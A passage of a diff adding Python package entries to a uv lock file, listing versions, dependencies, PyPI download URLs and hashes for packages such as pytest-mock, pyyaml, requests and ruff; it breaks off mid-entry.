"2026-05-26T09:56:02.576Z" }, +] + +[[package]] +name = "pytest-mock" +version = "3.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/68/14/eb014d26be205d38ad5ad20d9a80f7d201472e08167f0bb4361e251084a9/pytest_mock-3.15.1.tar.gz", hash = "sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f", size = 34036, upload-time = "2025-09-16T16:37:27.081Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/cc/06253936f4a7fa2e0f48dfe6d851d9c56df896a9ab09ac019d70b760619c/pytest_mock-3.15.1-py3-none-any.whl", hash = "sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d", size = 10095, upload-time = "2025-09-16T16:37:25.734Z" }, +] + +[[package]] +name = "pytest-retry" +version = "1.7.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/5b/607b017994cca28de3a1ad22a3eee8418e5d428dcd8ec25b26b18e995a73/pytest_retry-1.7.0.tar.gz", hash = "sha256:f8d52339f01e949df47c11ba9ee8d5b362f5824dff580d3870ec9ae0057df80f", size = 19977, upload-time = "2025-01-19T01:56:13.115Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/ff/3266c8a73b9b93c4b14160a7e2b31d1e1088e28ed29f4c2d93ae34093bfd/pytest_retry-1.7.0-py3-none-any.whl", hash = "sha256:a2dac85b79a4e2375943f1429479c65beb6c69553e7dae6b8332be47a60954f4", size = 13775, upload-time = "2025-01-19T01:56:11.199Z" }, +] + +[[package]] +name = "pytest-watcher" +version = "0.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "tomli", marker = "python_full_version < '3.11'" }, + { name = "watchdog" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e6/d2/80606077b7fa8784417687f494ff801d7ab817d9a17fc94305811d5919bb/pytest_watcher-0.6.3.tar.gz", hash = "sha256:842dc904264df0ad2d5264153a66bb452fccfa46598cd6e0a5ef1d19afed9b13", size = 601878, upload-time = "2026-01-10T23:28:18.805Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/3f/172d73600ad2771774cda108efb813fc724fc345e5240a81a1085f1ade5d/pytest_watcher-0.6.3-py3-none-any.whl", hash = "sha256:83e7748c933087e8276edb6078663e6afa9926434b4fd8b85cf6b32b1d5bec89", size = 12431, upload-time = "2026-01-10T23:28:17.64Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/a0/39350dd17dd6d6c6507025c0e53aef67a9293a6d37d3511f23ea510d5800/pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b", size = 184227, upload-time = "2025-09-25T21:31:46.04Z" }, + { url = "https://files.pythonhosted.org/packages/05/14/52d505b5c59ce73244f59c7a50ecf47093ce4765f116cdb98286a71eeca2/pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956", size = 174019, upload-time = "2025-09-25T21:31:47.706Z" }, + { url = "https://files.pythonhosted.org/packages/43/f7/0e6a5ae5599c838c696adb4e6330a59f463265bfa1e116cfd1fbb0abaaae/pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8", size = 740646, upload-time = "2025-09-25T21:31:49.21Z" }, + { url = "https://files.pythonhosted.org/packages/2f/3a/61b9db1d28f00f8fd0ae760459a5c4bf1b941baf714e207b6eb0657d2578/pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198", size = 840793, upload-time = "2025-09-25T21:31:50.735Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1e/7acc4f0e74c4b3d9531e24739e0ab832a5edf40e64fbae1a9c01941cabd7/pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b", size = 770293, upload-time = "2025-09-25T21:31:51.828Z" }, + { url = "https://files.pythonhosted.org/packages/8b/ef/abd085f06853af0cd59fa5f913d61a8eab65d7639ff2a658d18a25d6a89d/pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0", size = 732872, upload-time = "2025-09-25T21:31:53.282Z" }, + { url = "https://files.pythonhosted.org/packages/1f/15/2bc9c8faf6450a8b3c9fc5448ed869c599c0a74ba2669772b1f3a0040180/pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69", size = 758828, upload-time = "2025-09-25T21:31:54.807Z" }, + { url = "https://files.pythonhosted.org/packages/a3/00/531e92e88c00f4333ce359e50c19b8d1de9fe8d581b1534e35ccfbc5f393/pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e", size = 142415, upload-time = "2025-09-25T21:31:55.885Z" }, + { url = "https://files.pythonhosted.org/packages/2a/fa/926c003379b19fca39dd4634818b00dec6c62d87faf628d1394e137354d4/pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c", size = 158561, upload-time = "2025-09-25T21:31:57.406Z" }, + { url = "https://files.pythonhosted.org/packages/6d/16/a95b6757765b7b031c9374925bb718d55e0a9ba8a1b6a12d25962ea44347/pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e", size = 185826, upload-time = "2025-09-25T21:31:58.655Z" }, + { url = "https://files.pythonhosted.org/packages/16/19/13de8e4377ed53079ee996e1ab0a9c33ec2faf808a4647b7b4c0d46dd239/pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824", size = 175577, upload-time = "2025-09-25T21:32:00.088Z" }, + { url = "https://files.pythonhosted.org/packages/0c/62/d2eb46264d4b157dae1275b573017abec435397aa59cbcdab6fc978a8af4/pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c", size = 775556, upload-time = "2025-09-25T21:32:01.31Z" }, + { url = "https://files.pythonhosted.org/packages/10/cb/16c3f2cf3266edd25aaa00d6c4350381c8b012ed6f5276675b9eba8d9ff4/pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00", size = 882114, upload-time = "2025-09-25T21:32:03.376Z" }, + { url = "https://files.pythonhosted.org/packages/71/60/917329f640924b18ff085ab889a11c763e0b573da888e8404ff486657602/pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d", size = 806638, upload-time = "2025-09-25T21:32:04.553Z" }, + { url = "https://files.pythonhosted.org/packages/dd/6f/529b0f316a9fd167281a6c3826b5583e6192dba792dd55e3203d3f8e655a/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a", size = 767463, upload-time = "2025-09-25T21:32:06.152Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6a/b627b4e0c1dd03718543519ffb2f1deea4a1e6d42fbab8021936a4d22589/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4", size = 794986, upload-time = "2025-09-25T21:32:07.367Z" }, + { url = "https://files.pythonhosted.org/packages/45/91/47a6e1c42d9ee337c4839208f30d9f09caa9f720ec7582917b264defc875/pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b", size = 142543, upload-time = "2025-09-25T21:32:08.95Z" }, + { url = "https://files.pythonhosted.org/packages/da/e3/ea007450a105ae919a72393cb06f122f288ef60bba2dc64b26e2646fa315/pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf", size = 158763, upload-time = "2025-09-25T21:32:09.96Z" }, + { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" }, + { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" }, + { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" }, + { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" }, + { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" }, + { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" }, + { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" }, + { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" }, + { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" }, + { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" }, + { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" }, + { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" }, + { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" }, + { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" }, + { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" }, + { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" }, + { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" }, + { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" }, + { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" }, + { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" }, + { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" }, + { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" }, + { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" }, +] + +[[package]] +name = "requests" +version = "2.33.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/34/64/8860370b167a9721e8956ae116825caff829224fbca0ca6e7bf8ddef8430/requests-2.33.0.tar.gz", hash = "sha256:c7ebc5e8b0f21837386ad0e1c8fe8b829fa5f544d8df3b2253bff14ef29d7652", size = 134232, upload-time = "2026-03-25T15:10:41.586Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/5d/c814546c2333ceea4ba42262d8c4d55763003e767fa169adc693bd524478/requests-2.33.0-py3-none-any.whl", hash = "sha256:3324635456fa185245e24865e810cecec7b4caf933d7eb133dcde67d48cee69b", size = 65017, upload-time = "2026-03-25T15:10:40.382Z" }, +] + +[[package]] +name = "requests-toolbelt" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" }, +] + +[[package]] +name = "ruff" +version = "0.15.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" }, + { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" }, + { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" }, + { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" }, + { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" }, + { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" }, + { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = 